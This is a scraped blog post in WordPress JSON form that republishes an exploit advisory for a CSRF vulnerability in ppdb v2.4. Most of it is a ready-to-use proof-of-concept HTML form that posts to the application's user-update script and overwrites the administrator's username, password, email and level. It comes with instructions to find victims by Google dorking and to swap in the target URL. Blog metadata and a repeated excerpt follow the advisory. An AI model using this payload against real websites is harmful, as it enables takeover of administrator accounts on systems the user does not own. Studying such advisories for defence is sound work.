=============================================================================================================================================
| # Title : ppdb v2.4-update 6118-1 CSRF Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Fr(Pro) \/ browser : Mozilla firefox 125.0.1 (64 bits) |
| # Vendor : https:\/\/drive.usercontent.google.com\/download?id=1gnVS8xLA-884e7M8V5dc3_i9qNgrviVq&export=download&authuser=0 |
=============================================================================================================================================<\/p>\n
poc :<\/p>\n[+] Dorking \u0130n Google Or Other Search Enggine.<\/p>\n[+] The following HTML code modifies the admin information.<\/p>\n[+] Go to the line 10. Set the target website link Save changes and apply . <\/p>\n[+] infected file : \/root\/psb-user-update.php.<\/p>\n[+] save code as poc.html <\/p>\n[+] payload : <\/p>\n
<div class=”col-lg-6″>
<h2 class=”page-header”>Administrator<\/h2>
<div class=”panel panel-default”>
<div class=”panel-heading”>
User Profile
<\/div>
<!– \/.panel-heading –>
<div class=”panel-body”>
<div class=”table-responsive”>
<form role=”form” method=”post” action=”http:\/\/127.0.0.1\/ppdb\/root\/psb-user-update.php” enctype=”multipart\/form-data”>
<table class=”table table-striped table-bordered table-hover”><\/p>\n
<tbody><\/p>\n
<tr>
<td>Username<\/td>
<td><input class=”form-control” type=”text” name=”username” value=”indoushka” required=””>
<input class=”form-control” type=”hidden” name=”id” value=”1″><\/td>
<\/tr><\/p>\n
<tr>
<td>Password<\/td>
<td><input class=”form-control” type=”password” name=”password” id=”password” required=””><\/td>
<\/tr>
<tr>
<td>Nama<\/td>
<td><input class=”form-control” type=”nama” name=”nama” id=”nama” value=”nekkaa salah eddine” required=””><\/td>
<\/tr><\/p>\n
<tr>
<td>Email<\/td>
<td><input class=”form-control” type=”text” name=”email” value=”indoushka4ever@gmail.com” required=””>
<input type=”hidden” name=”level” id=”level” value=”1″>
<\/td>
<\/tr>
<tr>
<td colspan=”3″><input type=”file” name=”foto” id=”foto” required=””><\/td>
<\/tr><\/p>\n
<\/tbody>
<\/table>
<button type=”submit” class=”btn btn-primary” name=”update” id=”update”>Update<\/button>
<\/form>
<\/div>
<!– \/.table-responsive –>
<\/div>
<!– \/.panel-body –>
<\/div>
<!– \/.panel –>
<\/div><\/p>\n
Greetings to :============================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |
==========================================================================<\/p>\n","protected":false},"excerpt":{"rendered":"
=============================================================================================================================================| # Title : ppdb v2.4-update 6118-1 CSRF Vulnerability || # Author : indoushka || # Tested on : windows 10 Fr(Pro) \/ browser : Mozilla firefox 125.0.1 (64 bits) || # Vendor : https:\/\/drive.usercontent.google.com\/download?id=1gnVS8xLA-884e7M8V5dc3_i9qNgrviVq&export=download&authuser=0 |============================================================================================================================================= poc : [+] Dorking \u0130n Google Or Other Search Enggine. [+] The following HTML code modifies the admin information. …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59415","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59415","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59415"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59415\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59415"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59415"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59415"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}